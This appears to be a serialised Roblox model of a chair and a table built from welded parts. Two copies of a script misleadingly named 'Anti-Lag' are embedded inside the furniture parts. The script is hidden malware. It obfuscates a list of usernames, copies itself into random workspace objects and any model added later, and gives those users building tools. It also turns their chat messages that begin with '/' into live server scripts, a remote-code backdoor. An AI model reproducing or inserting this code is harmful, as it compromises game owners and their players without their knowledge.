Part555.Anchored = true
Part555.BrickColor = BrickColor.new("Dark orange")
Part555.TopSurface = Enum.SurfaceType.Weld
Part555.brickColor = BrickColor.new("Dark orange")
SpecialMesh556.Parent = Part555
SpecialMesh556.Scale = Vector3.new(1.25, 1.25, 1.25)
Weld557.Parent = Part555
Weld557.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld557.C1 = CFrame.new(-1, -0.199932098, 1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld557.Part0 = Part555
Weld557.Part1 = Part579
Weld557.part1 = Part579
Weld558.Parent = Part555
Weld558.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld558.C1 = CFrame.new(-1, -0.199951172, 1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld558.Part0 = Part555
Weld558.Part1 = Part579
Weld558.part1 = Part579
Weld559.Parent = Part555
Weld559.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld559.C1 = CFrame.new(-1, -0.199932098, 1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld559.Part0 = Part555
Weld559.Part1 = Part579
Weld559.part1 = Part579
Weld560.Parent = Part555
Weld560.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld560.C1 = CFrame.new(-1, -0.199932098, 1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld560.Part0 = Part555
Weld560.Part1 = Part579
Weld560.part1 = Part579
Weld561.Parent = Part555
Weld561.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld561.C1 = CFrame.new(-1, -0.199932098, 1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld561.Part0 = Part555
Weld561.Part1 = Part579
Weld561.part1 = Part579
Part562.Name = "Smooth Block Model"
Part562.Parent = Model547
Part562.CFrame = CFrame.new(-24.5410156, 54.0002365, -218.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part562.Orientation = Vector3.new(0, 90, 0)
Part562.Position = Vector3.new(-24.5410156, 54.0002365, -218.051559)
Part562.Rotation = Vector3.new(0, 90, 0)
Part562.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part562.Size = Vector3.new(1, 1.20000005, 1)
Part562.Anchored = true
Part562.BrickColor = BrickColor.new("Dark orange")
Part562.TopSurface = Enum.SurfaceType.Weld
Part562.brickColor = BrickColor.new("Dark orange")
SpecialMesh563.Parent = Part562
SpecialMesh563.Scale = Vector3.new(1.25, 1.25, 1.25)
Weld564.Parent = Part562
Weld564.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld564.C1 = CFrame.new(1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld564.Part0 = Part562
Weld564.Part1 = Part579
Weld564.part1 = Part579
Weld565.Parent = Part562
Weld565.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld565.C1 = CFrame.new(1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld565.Part0 = Part562
Weld565.Part1 = Part579
Weld565.part1 = Part579
Weld566.Parent = Part562
Weld566.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld566.C1 = CFrame.new(1, -0.199951172, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld566.Part0 = Part562
Weld566.Part1 = Part579
Weld566.part1 = Part579
Weld567.Parent = Part562
Weld567.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld567.C1 = CFrame.new(1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld567.Part0 = Part562
Weld567.Part1 = Part579
Weld567.part1 = Part579
Weld568.Parent = Part562
Weld568.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld568.C1 = CFrame.new(1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld568.Part0 = Part562
Weld568.Part1 = Part579
Weld568.part1 = Part579
Part569.Name = "Smooth Block Model"
Part569.Parent = Model547
Part569.CFrame = CFrame.new(-24.5410156, 54.0002365, -216.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part569.Orientation = Vector3.new(0, 90, 0)
Part569.Position = Vector3.new(-24.5410156, 54.0002365, -216.051559)
Part569.Rotation = Vector3.new(0, 90, 0)
Part569.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part569.Size = Vector3.new(1, 1.20000005, 1)
Part569.Anchored = true
Part569.BrickColor = BrickColor.new("Dark orange")
Part569.TopSurface = Enum.SurfaceType.Weld
Part569.brickColor = BrickColor.new("Dark orange")
SpecialMesh570.Parent = Part569
SpecialMesh570.Scale = Vector3.new(1.25, 1.25, 1.25)
Weld571.Parent = Part569
Weld571.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld571.C1 = CFrame.new(-1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld571.Part0 = Part569
Weld571.Part1 = Part579
Weld571.part1 = Part579
Weld572.Parent = Part569
Weld572.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld572.C1 = CFrame.new(-1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld572.Part0 = Part569
Weld572.Part1 = Part579
Weld572.part1 = Part579
Weld573.Parent = Part569
Weld573.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld573.C1 = CFrame.new(-1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld573.Part0 = Part569
Weld573.Part1 = Part579
Weld573.part1 = Part579
Weld574.Parent = Part569
Weld574.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld574.C1 = CFrame.new(-1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld574.Part0 = Part569
Weld574.Part1 = Part579
Weld574.part1 = Part579
Part575.Name = "Smooth Block Model"
Part575.Parent = Model547
Part575.CFrame = CFrame.new(-23.5410156, 56.1002083, -218.751556, 0, 0, 1, -1, 0, 0, 0, -1, 0)
Part575.Orientation = Vector3.new(0, 90, -90)
Part575.Position = Vector3.new(-23.5410156, 56.1002083, -218.751556)
Part575.Rotation = Vector3.new(-90, 90, 0)
Part575.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part575.Size = Vector3.new(3, 0.400000006, 3)
Part575.Anchored = true
Part575.BottomSurface = Enum.SurfaceType.Weld
Part575.BrickColor = BrickColor.new("Dark orange")
Part575.LeftSurface = Enum.SurfaceType.Weld
Part575.RightSurface = Enum.SurfaceType.Weld
Part575.TopSurface = Enum.SurfaceType.Smooth
Part575.brickColor = BrickColor.new("Dark orange")
Weld576.Parent = Part575
Weld576.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld576.C1 = CFrame.new(1.5, 1.30004883, 0, 0, -0, -1, -1, 0, 0, 0, 1, 0)
Weld576.Part0 = Part575
Weld576.Part1 = Part579
Weld576.part1 = Part579
Weld577.Parent = Part575
Weld577.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld577.C1 = CFrame.new(0.599975586, -1, -1, -1, 0, 0, 0, 0, 1, 0, 1, 0)
Weld577.Part0 = Part575
Weld577.Part1 = Part428
Weld577.part1 = Part428
Weld578.Parent = Part575
Weld578.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld578.C1 = CFrame.new(0, -1, 0.599975586, 0, -1, -0, 0, 0, 1, -1, 0, 0)
Weld578.Part0 = Part575
Weld578.Part1 = Part427
Weld578.part1 = Part427
Part579.Name = "Smooth Block Model"
Part579.Parent = Model547
Part579.CFrame = CFrame.new(-23.5410156, 54.8001671, -217.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part579.Orientation = Vector3.new(0, 90, 0)
Part579.Position = Vector3.new(-23.5410156, 54.8001671, -217.051559)
Part579.Rotation = Vector3.new(0, 90, 0)
Part579.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part579.Size = Vector3.new(3, 0.400000006, 3)
Part579.Anchored = true
Part579.BrickColor = BrickColor.new("Dark orange")
Part579.LeftSurface = Enum.SurfaceType.Weld
Part579.RightSurface = Enum.SurfaceType.Weld
Part579.TopSurface = Enum.SurfaceType.Weld
Part579.brickColor = BrickColor.new("Dark orange")
Script580.Name = "Anti-Lag"
Script580.Parent = Part579
table.insert(cors,sandbox(Script580,function()
Altitude = script:clone()
calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4]))
table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4]))
table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5]))
table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate > hatr then
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == "Part" then
local fh = fj[off]:FindFirstChild("Anti-Lag")
if fh ~= nil then
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local hup = Instance.new("Message")
hup.Text = "Detected"
hup.Parent = quen.Parent
local con = Instance.new("Script")
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new("HopperBin")
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1, zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild("Anti-Lag")
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == "Model" then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
end
function Player(player)
player.Changed:connect(function (property)
if property == "Character" then
laber(player)
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == "/" then
local dsting = Instance.new("Script")
dsting.Source = string.sub(msg,2)
dsting.Parent = game.Workspace
end
end
end
end))
Weld581.Parent = Part579
Weld581.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld581.C1 = CFrame.new(0, 0.5, -0.50012207, -0, -1, -0, 1, 0, 0, 0, 0, 1)
Weld581.Part0 = Part579
Weld581.Part1 = Part427
Weld581.part1 = Part427
Weld582.Parent = Part579
Weld582.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld582.C1 = CFrame.new(1, 0.599975586, 1, 1, -0, 0, 0, 0, -1, 0, 1, 0)
Weld582.Part0 = Part579
Weld582.Part1 = Part569
Weld582.part1 = Part569
Model583.Name = "Table"
Model583.Parent = Model454
Model583.PrimaryPart = Part593
Part584.Name = "Smooth Block Model"
Part584.Parent = Model583
Part584.CFrame = CFrame.new(-13.5410156, 55.2001915, -209.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part584.Orientation = Vector3.new(0, 90, 0)
Part584.Position = Vector3.new(-13.5410156, 55.2001915, -209.051559)
Part584.Rotation = Vector3.new(0, 90, 0)
Part584.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part584.Size = Vector3.new(1, 3.60000014, 1)
Part584.Anchored = true
Part584.BrickColor = BrickColor.new("Dark orange")
Part584.TopSurface = Enum.SurfaceType.Weld
Part584.brickColor = BrickColor.new("Dark orange")
SpecialMesh585.Parent = Part584
SpecialMesh585.Scale = Vector3.new(1.25, 1.25, 1.25)
Weld586.Parent = Part584
Weld586.C0 = CFrame.new(0, 1.80000007, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld586.C1 = CFrame.new(-2.5, -0.199951172, 6.5, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld586.Part0 = Part584
Weld586.Part1 = Part593
Weld586.part1 = Part593
Part587.Name = "Smooth Block Model"
Part587.Parent = Model583
Part587.CFrame = CFrame.new(-26.5410156, 55.2001915, -209.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part587.Orientation = Vector3.new(0, 90, 0)
Part587.Position = Vector3.new(-26.5410156, 55.2001915, -209.051559)
Part587.Rotation = Vector3.new(0, 90, 0)
Part587.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part587.Size = Vector3.new(1, 3.60000014, 1)
Part587.Anchored = true
Part587.BrickColor = BrickColor.new("Dark orange")
Part587.TopSurface = Enum.SurfaceType.Weld
Part587.brickColor = BrickColor.new("Dark orange")
SpecialMesh588.Parent = Part587
SpecialMesh588.Scale = Vector3.new(1.25, 1.25, 1.25)
Weld589.Parent = Part587
Weld589.C0 = CFrame.new(0, 1.80000007, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld589.C1 = CFrame.new(-2.5, -0.200000763, -6.5, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld589.Part0 = Part587
Weld589.Part1 = Part593
Weld589.part1 = Part593
Weld590.Parent = Part587
Weld590.C0 = CFrame.new(0, 1.80000007, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld590.C1 = CFrame.new(-2.5, -0.200000763, -6.5, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld590.Part0 = Part587
Weld590.Part1 = Part593
Weld590.part1 = Part593
Weld591.Parent = Part587
Weld591.C0 = CFrame.new(0, 1.80000007, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld591.C1 = CFrame.new(-2.5, -0.200000763, -6.5, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld591.Part0 = Part587
Weld591.Part1 = Part593
Weld591.part1 = Part593
Weld592.Parent = Part587
Weld592.C0 = CFrame.new(0, 1.80000007, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld592.C1 = CFrame.new(-2.5, -0.200000763, -6.5, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld592.Part0 = Part587
Weld592.Part1 = Part593
Weld592.part1 = Part593
Part593.Name = "Smooth Block Model"
Part593.Parent = Model583
Part593.CFrame = CFrame.new(-20.0410156, 57.2001915, -211.551559, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part593.Orientation = Vector3.new(0, 90, 0)
Part593.Position = Vector3.new(-20.0410156, 57.2001915, -211.551559)
Part593.Rotation = Vector3.new(0, 90, 0)
Part593.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part593.Size = Vector3.new(8, 0.400000006, 16)
Part593.Anchored = true
Part593.BrickColor = BrickColor.new("Dark orange")
Part593.LeftSurface = Enum.SurfaceType.Weld
Part593.RightSurface = Enum.SurfaceType.Weld
Part593.TopSurface = Enum.SurfaceType.Smooth
Part593.brickColor = BrickColor.new("Dark orange")
Weld594.Parent = Part593
Weld594.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld594.C1 = CFrame.new(2.5, 1.80004883, 6.5, 1, -0, 0, 0, 0, -1, 0, 1, 0)
Weld594.Part0 = Part593
Weld594.Part1 = Part587
Weld594.part1 = Part587
Weld595.Parent = Part593
Weld595.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld595.C1 = CFrame.new(2.5, 1.79999924, -6.5, 1, -0, 0, 0, 0, -1, 0, 1, 0)
Weld595.Part0 = Part593
Weld595.Part1 = Part584
Weld595.part1 = Part584
Weld596.Parent = Part593
Weld596.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld596.C1 = CFrame.new(-2.5, 1.80004883, -6.5, 1, -0, 0, 0, 0, -1, 0, 1, 0)
Weld596.Part0 = Part593
Weld596.Part1 = Part602
Weld596.part1 = Part602
Weld597.Parent = Part593
Weld597.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld597.C1 = CFrame.new(-2.5, 1.79999924, 6.5, 1, -0, 0, 0, 0, -1, 0, 1, 0)
Weld597.Part0 = Part593
Weld597.Part1 = Part599
Weld597.part1 = Part599
Weld598.Parent = Part593
Weld598.C0 = CFrame.new(4, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld598.C1 = CFrame.new(0.0999832153, -0.199996948, 0, 0, 1, 0, 0, -0, 1, 1, -0, 0)
Weld598.Part0 = Part593
Weld598.Part1 = Part620
Weld598.part1 = Part620
Part599.Name = "Smooth Block Model"
Part599.Parent = Model583
Part599.CFrame = CFrame.new(-26.5410156, 55.2001915, -214.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part599.Orientation = Vector3.new(0, 90, 0)
Part599.Position = Vector3.new(-26.5410156, 55.2001915, -214.051559)
Part599.Rotation = Vector3.new(0, 90, 0)
Part599.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part599.Size = Vector3.new(1, 3.60000014, 1)
Part599.Anchored = true
Part599.BrickColor = BrickColor.new("Dark orange")
Part599.TopSurface = Enum.SurfaceType.Weld
Part599.brickColor = BrickColor.new("Dark orange")
SpecialMesh600.Parent = Part599
SpecialMesh600.Scale = Vector3.new(1.25, 1.25, 1.25)
Weld601.Parent = Part599
Weld601.C0 = CFrame.new(0, 1.80000007, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld601.C1 = CFrame.new(2.5, -0.199951172, -6.5, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld601.Part0 = Part599
Weld601.Part1 = Part593
Weld601.part1 = Part593
Part602.Name = "Smooth Block Model"
Part602.Parent = Model583
Part602.CFrame = CFrame.new(-13.5410156, 55.2001915, -214.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part602.Orientation = Vector3.new(0, 90, 0)
Part602.Position = Vector3.new(-13.5410156, 55.2001915, -214.051559)
Part602.Rotation = Vector3.new(0, 90, 0)
Part602.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part602.Size = Vector3.new(1, 3.60000014, 1)
Part602.Anchored = true
Part602.BrickColor = BrickColor.new("Dark orange")
Part602.TopSurface = Enum.SurfaceType.Weld
Part602.brickColor = BrickColor.new("Dark orange")
SpecialMesh603.Parent = Part602
SpecialMesh603.Scale = Vector3.new(1.25, 1.25, 1.25)
Part604.Name = "Smooth Block Model"
Part604.Parent = Model583
Part604.CFrame = CFrame.new(-20.0410156, 57.6002083, -211.551559, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part604.Orientation = Vector3.new(0, 90, 0)
Part604.Position = Vector3.new(-20.0410156, 57.6002083, -211.551559)
Part604.Rotation = Vector3.new(0, 90, 0)
Part604.Size = Vector3.new(8, 0.400000006, 14)
Part604.Anchored = true
Part604.LeftSurface = Enum.SurfaceType.Weld
Part604.RightSurface = Enum.SurfaceType.Weld
Part604.TopParamA = 0
Part604.TopParamB = 0
Part604.TopSurface = Enum.SurfaceType.Hinge
Texture605.Name = "TableCloth"
Texture605.Parent = Part604
Texture605.Face = Enum.NormalId.Top
Texture605.StudsPerTileU = 10
Texture605.StudsPerTileV = 15
Rotate606.Parent = Part604
Rotate606.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Rotate606.C1 = CFrame.new(0, -0.199999988, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Rotate606.Part0 = Part604
Rotate606.Part1 = Part630
Rotate606.part1 = Part630
Part607.Name = "Smooth Block Model"
Part607.Parent = Model583
Part607.CFrame = CFrame.new(-20.0410156, 57.1002083, -207.351563, 0, 0, 1, 1, 0, 0, 0, 1, 0)
Part607.Orientation = Vector3.new(0, 90, 90)
Part607.Position = Vector3.new(-20.0410156, 57.1002083, -207.351563)
Part607.Rotation = Vector3.new(90, 90, 0)
Part607.Size = Vector3.new(1, 0.400000006, 14)
Part607.Anchored = true
Part607.RightSurface = Enum.SurfaceType.Weld
Part607.TopSurface = Enum.SurfaceType.Smooth
Texture608.Name = "TableCloth"
Texture608.Parent = Part607
Texture608.Face = Enum.NormalId.Top
Texture608.StudsPerTileU = 10
Texture608.StudsPerTileV = 15
Script609.Name = "Anti-Lag"
Script609.Parent = Part607
table.insert(cors,sandbox(Script609,function()
Altitude = script:clone()
calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4]))
table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4]))
table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5]))
table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate > hatr then
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == "Part" then
local fh = fj[off]:FindFirstChild("Anti-Lag")
if fh ~= nil then
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local hup = Instance.new("Message")
hup.Text = "Detected"
hup.Parent = quen.Parent
local con = Instance.new("Script")
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new("HopperBin")
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1, zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild("Anti-Lag")
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == "Model" then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
end
function Player(player)
player.Changed:connect(function (property)
if property == "Character" then
laber(player)
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == "/" then
local dsting = Instance.new("Script")
dsting.Source = string.sub(msg,2)
dsting.Parent = game.Workspace
end
end
end
end))
Weld610.Parent = Part607
Weld610.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld610.C1 = CFrame.new(-4, -0.5, 0, -0, -0, 1, 1, 0, 0, 0, 1, 0)
Weld610.Part0 = Part607
Weld610.Part1 = Part604
Weld610.part1 = Part604
Weld611.Parent = Part607
Weld611.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld611.C1 = CFrame.new(-4, -0.0999832153, 0, -0, -0, 1, 1, 0, 0, 0, 1, 0)
Weld611.Part0 = Part607
Weld611.Part1 = Part593
Weld611.part1 = Part593
Weld612.Parent = Part607
Weld612.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld612.C1 = CFrame.new(-4, -0.0999832153, 0, -0, -0, 1, 1, 0, 0, 0, 1, 0)
Weld612.Part0 = Part607
Weld612.Part1 = Part593
Weld612.part1 = Part593
Weld613.Parent = Part607
Weld613.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld613.C1 = CFrame.new(-4, -0.0999755859, 0, -0, -0, 1, 1, 0, 0, 0, 1, 0)
Weld613.Part0 = Part607
Weld613.Part1 = Part593
Weld613.part1 = Part593
Weld614.Parent = Part607
Weld614.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld614.C1 = CFrame.new(-4, -0.5, 0, -0, -0, 1, 1, 0, 0, 0, 1, 0)
Weld614.Part0 = Part607
Weld614.Part1 = Part604
Weld614.part1 = Part604
Weld615.Parent = Part607
Weld615.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld615.C1 = CFrame.new(-4, -0.5, 0, -0, -0, 1, 1, 0, 0, 0, 1, 0)
Weld615.Part0 = Part607
Weld615.Part1 = Part604
Weld615.part1 = Part604
Weld616.Parent = Part607
Weld616.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld616.C1 = CFrame.new(-4, -0.5, 0, -0, -0, 1, 1, 0, 0, 0, 1, 0)
Weld616.Part0 = Part607
Weld616.Part1 = Part604
Weld616.part1 = Part604
Weld617.Parent = Part607
Weld617.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld617.C1 = CFrame.new(-4, -0.0999832153, 0, -0, -0, 1, 1, 0, 0, 0, 1, 0)
Weld617.Part0 = Part607
Weld617.Part1 = Part593
Weld617.part1 = Part593
Weld618.Parent = Part607
Weld618.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld618.C1 = CFrame.new(-4, -0.0999832153, 0, -0, -0, 1, 1, 0, 0, 0, 1, 0)
Weld618.Part0 = Part607
Weld618.Part1 = Part593
Weld618.part1 = Part593
Weld619.Parent = Part607
Weld619.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld619.C1 = CFrame.new(-4, -0.5, 0, -0, -0, 1, 1, 0, 0, 0, 1, 0)
Weld619.Part0 = Part607
Weld619.Part1 = Part604
Weld619.part1 = Part604
Part620.Name = "Smooth Block Model"
Part620.Parent = Model583
Part620.CFrame = CFrame.new(-20.0410156, 57.1002083, -215.751556, 0, 0, -1, 1, 0, 0, 0, -1, 0)
Part620.Orientation = Vector3.new(0, -90, 90)
Part620.Position = Vector3.new(-20.0410156, 57.1002083, -215.751556)
Part620.Rotation = Vector3.new(-90, -90, 0)
Part620.Size = Vector3.new(1, 0.400000006, 14)
Part620.Anchored = true
Part620.RightSurface = Enum.SurfaceType.Weld
Texture621.Name = "TableCloth"
Texture621.Parent = Part620
Texture621.Face = Enum.NormalId.Top
Texture621.StudsPerTileU = 10
Texture621.StudsPerTileV = 15
Weld622.Parent = Part620
Weld622.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld622.C1 = CFrame.new(4, -0.5, 0, -0, 0, -1, 1, 0, 0, 0, -1, 0)
Weld622.Part0 = Part620
Weld622.Part1 = Part604
Weld622.part1 = Part604
Weld623.Parent = Part620
Weld623.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld623.C1 = CFrame.new(4, -0.0999755859, 0, -0, 0, -1, 1, 0, 0, 0, -1, 0)
Weld623.Part0 = Part620
Weld623.Part1 = Part593
Weld623.part1 = Part593
Part624.Name = "Smooth Block Model"
Part624.Parent = Model454
Part624.CFrame = CFrame.new(-19.5410156, 58.7001915, -212.051559, 0, 0, 1, -1, 0, 0, 0, -1, 0)
Part624.Orientation = Vector3.new(0, 90, -90)
Part624.Position = Vector3.new(-19.5410156, 58.7001915, -212.051559)
Part624.Rotation = Vector3.new(-90, 90, 0)
Part624.Color = Color3.new(0.898039, 0.894118, 0.87451)
Part624.Transparency = 0.20000000298023
Part624.Size = Vector3.new(1, 1, 1)
Part624.Anchored = true
Part624.BottomSurface = Enum.SurfaceType.Smooth
Part624.BrickColor = BrickColor.new("Light stone grey")
Part624.TopSurface = Enum.SurfaceType.Smooth
Part624.brickColor = BrickColor.new("Light stone grey")
Part624.Shape = Enum.PartType.Cylinder
